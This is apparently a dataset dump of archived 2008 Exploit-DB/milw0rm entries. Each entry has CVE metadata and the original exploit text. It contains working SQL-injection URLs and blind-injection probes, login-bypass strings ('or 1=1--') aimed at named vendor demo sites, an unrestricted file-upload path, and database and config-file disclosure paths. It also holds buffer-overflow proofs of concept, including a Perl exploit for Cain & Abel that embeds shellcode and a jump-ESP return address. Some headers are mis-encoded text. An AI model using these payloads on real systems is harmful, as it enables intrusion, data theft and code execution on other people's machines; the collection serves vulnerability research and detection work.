QLWD/code_shield huggingface dataset:
标题: minimal ablog 0.4 - SQL Injection / Arbitrary File Upload / Authentication Bypass EDB-ID: 7306 CVE: 2008-6613 2008-6612 2008-6611 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: ===========================================================================================================


  [o] minimal-ablog 0.4 SQL Injection, File Upload and Admin Bypass Vuln 

       Software : minimal-ablog version 0.4
       Vendor   : http://www.abweb.co.cc/
       Download : http://code.google.com/p/minimal-ablog/downloads/list
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


===========================================================================================================


  [o] Vulnerable file

       index.php
       admin/uploader.php



  [o] Exploit

       [ SQL Injection ]

     http://localhost/[path]/index.php?id=[SQL]
     http://www.abweb.co.cc/index.php?id=-3%20union%20select%201,version(),3,4,5,6,7,8--  <=- demo

       [ File Upload ]

     http://localhost/[path]/admin/uploader.php  <=- upload your file here
     http://localhost/[path]/img/[your_file]  <=- file will be uploaded here

       [ Admin Bypass ]

     when you open admin/uploader.php to upload file you already have admin privs too :)


===========================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
===========================================================================================================

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7306
标题: Electronics Workbench - '.ewb' Local Stack Overflow (PoC) EDB-ID: 7307 CVE: 2008-5383 类型: DOS 平台: WINDOWS 发布日期: 2008-11-30 漏洞利用脚本: #!/usr/local/bin/perl 
#
#
# OOO OOO             OO                            OOO                                
#  O   O               O                           O   O
#  O   O               O                           O   O
#  O   O  OO OO    OOOOO   OOOOO  OOO OO  OOOOOO   O   O  OO OO    OOOOO
#  O   O   OO  O  O    O  O     O   OO  O O   O    O   O   OO  O  O     O
#  O   O   O   O  O    O  OOOOOOO   O        O     O   O   O   O  OOOOOOO
#  O   O   O   O  O    O  O         O       O      O   O   O   O  O
#  O   O   O   O  O    O  O     O   O      O   O   O   O   O   O  O     O
#   OOO   OOO OOO  OOOOOO  OOOOO  OOOOO   OOOOOO    OOO   OOO OOO  OOOOO                                                                                        
#
# [+] Application               : Electronics Workbench
# 
# [+] Application's Description : (" Electronics Workbench sets the standard for affordable simulators.
#                                    The tight integration of its schematic editor, SPICE simulator and
#                                    on-screen waveforms makes what-if scenarios easy and instant.
#                                    The exceptional features of this latest release will come as no
#                                    surprise to our 80,000 previous customers. Value, power and ease of
#                                    use are what Electronics Workbench has always stood for.")
#                                    
# [+] Bug                       : Local .EWB File Stack Buffer Overflow (PoC)
# 
# [+] Author                    : Underz0ne Crew
#                                 Zigma
#
# I just got the program from my Elctronic's professor , Instead of simulating my homework I fuzzed it , I think I m geek :S , whatever 
#
$filename = "fuzz.ewb";

$overflow = "A" x 10000;

print "\n\n[+] Evil file to fuzz : $filename ...\r\n";
sleep(2);

open(ewb, ">./$filename") || die "\nCannot open $filename: $!";

print ewb "$overflow";

close (ewb);

print "\n[+]  file successfully created!\r\n";

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7307
标题: Cain & Abel 4.9.24 - '.rdp' Local Stack Overflow EDB-ID: 7309 CVE: 2008-5405 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-30 漏洞利用脚本: #!/usr/bin/perl
#
# Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit
# Exploit by SkD (skdrat@hotmail.com)
# -----------------------------------------------
#
# Nothing much to say about this one. This works on
# an updated Windows XP SP3. On Vista this exploit is way easier
# the more challenging one was on XP, and here it is.
# Enjoy :). Also remember if you want to put your own shellcode
# there are a few character restrictions and using Alpha2 or
# Alpha Numerical won't work at all.
# To open the .RDP file in Cain & Abel, click the
# "Remote Password Decoder Dialog" icon.
# Credits to Encrypt3d.M!nd.
# {Author has no responsibility over the damage you do with this!}

use strict; use warnings;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19".
"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c".
"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10".
"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54".
"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f".
"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d".
"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2".
"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31".
"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d".
"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21".
"\x7c\xc5\xd8\x59";
my $addr = "\xb5\xb5\xfd\x7f";
my $overflow = "\x41" x 8206 ;
my $overflow2 = "\x41" x 255 ;
my $eip = "\xd7\x30\x9d\x7c"; #   FOR WINDOWS XP SP3:  0x7c9d30d7       jmp esp (shell32.dll)

open(my $rdp, "> s.rdp");
print $rdp $overflow.$eip.$addr.$overflow2.$shellcode;
close($rdp);

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7309
标题: Cain & Abel 4.9.23 - '.rdp' Buffer Overflow (PoC) EDB-ID: 7297 CVE: 2008-5405 类型: DOS 平台: WINDOWS 发布日期: 2008-11-30 漏洞利用脚本: # exploit.py
##########################################################
# Cain & Abel v4.9.23 (rdp file) Buffer Overflow PoC
# (other versions may also affected)
# By:Encrypt3d.M!nd
#    encrypt3d.blogspot.com
#
# Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder
##########################################################
#
# Description:
# When Using Remote Desktop Password Decoder in Cain and
# Importing ".rdp" file contains long Chars(ex:8250 chars)
# The Program Will crash.And The Following Happen:
#
# EAX:41414141  ECX:7C832648  EDX:41414142  EBX:00000000
# ESP:0012BCD4  EBP:0012BCD4  ESI:001F07A8  EDI:00000001
# EIP:7E43C201 USER32.7E43C201
#
# Access violation When Reading [41414141]
#
# And Also The Pointer to next SEH record and SE Handler
# Will gonna BE Over-wrote
#
# This Poc Will Gonna Overwrite the Pointer to next SEH
# With"42424242" and The SE Handler with"43434343"
#
##########################################################
chars = "A"*8194
ptns = "B"*4
shan = "C"*4
chars2 = "A"*200

exp=open('cain.rdp','w')
exp.write(chars+ptns+shan+chars2)
exp.close()

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7297
标题: Active Test 2.1 - 'QuizID' Blind SQL Injection EDB-ID: 7295 CVE: 2008-5958 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(questions.asp QuizID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Test v 2.1
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:
   
  www.activewebsoftwares.com/demoactivetest/questions.asp?QuizID={bL!ND}

 0R 

  www.activewebsoftwares.com/demoactivetest/importquestions.asp?QuizID={str0ke}

 oÑ

  www.activewebsoftwares.com/demoactivetest/quiztakers.asp?QuizID=((Ñ3d D3v!L))
   
 [~] 8L!/\/D:
   
  7Ru3 : questions.asp?QuizID=1 and 1=1

  f4L53: questions.asp?QuizID=1 and 1=2
   
 0R
   
  7Ru3 : importquestions.asp?QuizID=1 and 1=1

  f4L53: importquestions.asp?QuizID=1 and 1=2
   
 0Ñ
   
  7Ru3 : quiztakers.asp?QuizID=1 and 1=1

  f4L53: quiztakers.asp?QuizID=1 and 1=2
   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7295
标题: Active Photo Gallery 6.2 - Authentication Bypass EDB-ID: 7299 CVE: 2008-5641 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Photo Gallery v 6.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoactivephotogallery/account.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7299
标题: Apple iTunes 8.0.2.20/QuickTime 7.5.5 - '.mov' Multiple Off By Overflows (PoC) EDB-ID: 7296 CVE: 2008-5406 类型: DOS 平台: WINDOWS 发布日期: 2008-11-30 漏洞利用脚本: ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Quicktime/Itunes Multiple Remote Off By One Overflow

Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7)

Web Site: www.apple.com/

Platform: Windows *, OS X *

Bug: Off by one overflow

Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

================

1) Introduction

================

"Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting.
QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task.
Easily make your application multimedia-enabled with QuickTime."

=======

2) Bug

=======
Quicktime & itunes fails to handle long arguments on a .mov file.
Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code :
c0000409
but ...
Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes.
The PoC give's us full control over EAX & EDI
Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution
via this unsafe call to quicktime hÃ©hÃ©hÃ© :)
The only problem, is the lengh of the buffer overflowed :(
erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41.
i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc,
but out of luck, i guess someone will maybe be able to do some magic tricks :)


==================

3)Proof of concept

==================

#!/usr/bin/perl

use strict;

my $movfile =
"\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d".
"\x72\x6d\x64\x61\x00\x00\x00\x55\x72\x64\x72\x66\x00\x00\x00\x00\x75\x72\x6c\x20".
"\x00\x00\x00\x41\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31".
"\x2f\x74\x65\x73\x74\x2e\x6d\x6f\x76\x00\x00\x00\x00\x10\x72\x6d\x64\x72\x00\x00".
"\x00\x00\x00\x00\x05\x78".
"\x41\x42\x43\x44". #EDI here
"\x61\x62\x63\x64". #EAX here
"\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x44\x44\x44\x41\x41\x43\x43".
"\x43\x41\x41\x41\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";


open(out, "> test.mov");
binmode(out);
print (out $movfile);
close(out);

//if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ...
=====

5)Credits

=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7296
标题: Active Bids 3.5 - 'itemID' Blind SQL Injection EDB-ID: 7290 CVE: 2008-5640 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-29 漏洞利用脚本: [~]Tybe     : Remote Blind SQL Injection Vulnerability
   
 [~]Vendor   : www.activewebsoftwares.com
   
 [~]Software : Active Bids
   
 [~]author   : Mountassif Moad



http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=1

http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=0

Demo :

http://www.activewebsoftwares.com/demoactivebids/bidhistory.asp?ItemID=354%20and%201=1

http://www.activewebsoftwares.com/demoactivebids/bidhistory.asp?ItemID=354%20and%201=0


# you can exploting the bug white blind sql automatic toolz such as sqlmap or ...

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7290
标题: Active Price Comparison 4 - 'ProductID' Blind SQL Injection EDB-ID: 7289 CVE: 2008-5975 2008-5638 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(reviews.aspx ProductID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Price Comparison v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://www.activewebsoftwares.com/demoactivepricecomparison/reviews.aspx?ProductID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : links.asp?linkid=1 and 1=1

  f4L53: links.asp?linkid=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]---------------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7289
标题: Active Time Billing 3.2 - Authentication Bypass EDB-ID: 7301 CVE: 2008-5632 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################







#found by : OffensiveTrack
#Author : AlpHaNiX
#website : www.offensivetrack.org
#contact on mail & msn : AlpHa@Hacker.bz





###########################################################################




#script : Active timebilling
#â‚¬xploit : http://www.activewebsoftwares.com/demoactivetimebilling/Account.asp


  username: r0' or ' 1=1--
  password: r0' or ' 1=1--





#greetz : My Best Friend Zigma

###########################################################################

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7301
标题: Active Web Mail 4 - Blind SQL Injection EDB-ID: 7288 CVE: 2008-6873 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(emails.aspx TabOpenQuickTab1) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: Active Web Mail v 4
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   

 [~]3xpL0!7 4 d3m0:

  www.activewebsoftwares.com/DemoActiveWebmail/popaccounts.aspx?TabOpenQuickTab1={bL!ND}

 0R 

  www.activewebsoftwares.com/DemoActiveWebmail/addressbook.aspx?TabOpenQuickTab1={str0ke}

 oÑ

  www.activewebsoftwares.com/DemoActiveWebmail/emails.aspx?TabOpenQuickTab1=((Ñ3d D3v!L))
   
 [~] 8L!/\/D:
   
  7Ru3 : popaccounts.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: popaccounts.aspx?TabOpenQuickTab1=1 and 1=2
   
 0R
   
  7Ru3 : addressbook.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: addressbook.aspx?TabOpenQuickTab1=1 and 1=2
   
 0Ñ
   
  7Ru3 : emails.aspx?TabOpenQuickTab1=1 and 1=1

  f4L53: emails.aspx?TabOpenQuickTab1=1 and 1=2
   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7288
标题: Active Business Directory 2 - Blind SQL Injection EDB-ID: 7302 CVE: 2008-5972 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-30 漏洞利用脚本: ###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################



#found by : OffensiveTrack
#Author : AlpHaNiX
#website : www.offensivetrack.org
#contact on mail & msn : AlpHa@Hacker.bz

###########################################################################



#script : Active Business Directory v 2
#â‚¬xploit : http://www.activewebsoftwares.com/demoactivebusinessdirectory/default.asp?catid=0+and+1=0



#greetz : My Best Friend Zigma

###########################################################################

# milw0rm.com [2008-11-30] URL: https://www.exploit-db.com/exploits/7302
标题: ASPThai.Net Forum 8.5 - Remote Database Disclosure EDB-ID: 7292 CVE: 2008-6872 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: ==================================================================
  ASPThai.NET Forum 8.5 Remote Database Disclosure Vulnerability
==================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 29 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : ASPThai.NET Forum
 VERSION     : 8.5
 VENDOR      : www.aspthai.net
#####################################################

http://[Target]/database/aspthaiForum.mdb

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7292
标题: ActiveVotes 2.2 - 'AccountID' Blind SQL Injection EDB-ID: 7287 CVE: 2008-5365 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe:(VoteHistory.asp AccountID) Blind SQL Injection Vulnerability
   
 [~]Vendor:www.activewebsoftwares.com
   
 [~]Software: ActiveVotes v 2.2
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------------------------------------
   
 [~]3xpL0!7 4 d3m0:
   
  www.activewebsoftwares.com/demoactivevotes/VoteHistory.asp?AccountID={bL!ND}
   
 [~] 8L!/\/D:
   
  7Ru3 : VoteHistory.asp?AccountID= 1 and 1=1

  f4L53: VoteHistory.asp?AccountID= 1 and 1=2
   
   
 
[~]--------------------------------------------------------------------------------
  
  [~] Greetz tO: {str0ke} &keta &m4n0n & maxmos & EV!L KS@ & hesham_hacker &Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7287
标题: OraMon 2.0.1 - Remote Configuration File Disclosure EDB-ID: 7286 CVE: 2008-6869 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-29 漏洞利用脚本: ........................

..............................................
+++++Bypass Config Download Vulnerability+++++
...............................................

script:Oramon = Oracle Database Monitoring

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
download:http://www.oramon.org/downloads/oramon.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++
expl:

$USERID=
$PASSWORD=
$DATABASE=

www.site.com/path/config/oramon.ini

   
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  | | | | | |
Author: ahmadbady  
  | | | | | |
my mail: kivi_hacker666@yahoo.com | | | | | |
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7286
标题: eWebquiz 8 - Authentication Bypass EDB-ID: 7279 CVE: 2008-5631 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-29 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
                                           ÙˆÙ…Ø§ Ø£ÙˆØªÙŠØªÙ… Ù…Ù† Ø§Ù„Ø¹Ù„Ù… Ø§Ù„Ø§ Ù‚Ù„ÙŠÙ„Ø§
[~]-------------------------------ØµØ¯Ù‚ Ø§Ù„Ù„Ù‡ Ø§Ù„Ø¹Ø¸ÙŠÙ…-------------------------------

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.activewebsoftwares.com
   
 [~]Software: eWebquiz v 8
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] -----------------------------{str0ke}------------------------------
   
   
 [~] Exploit:
   
  username: r0' or ' 1=1--
  password: r0' or ' 1=1--
   
   
 [~]login 4 d3m0:
   
  http://www.activewebsoftwares.com/demoewebquiz/register.asp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker
  [~]
  [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-29] URL: https://www.exploit-db.com/exploits/7279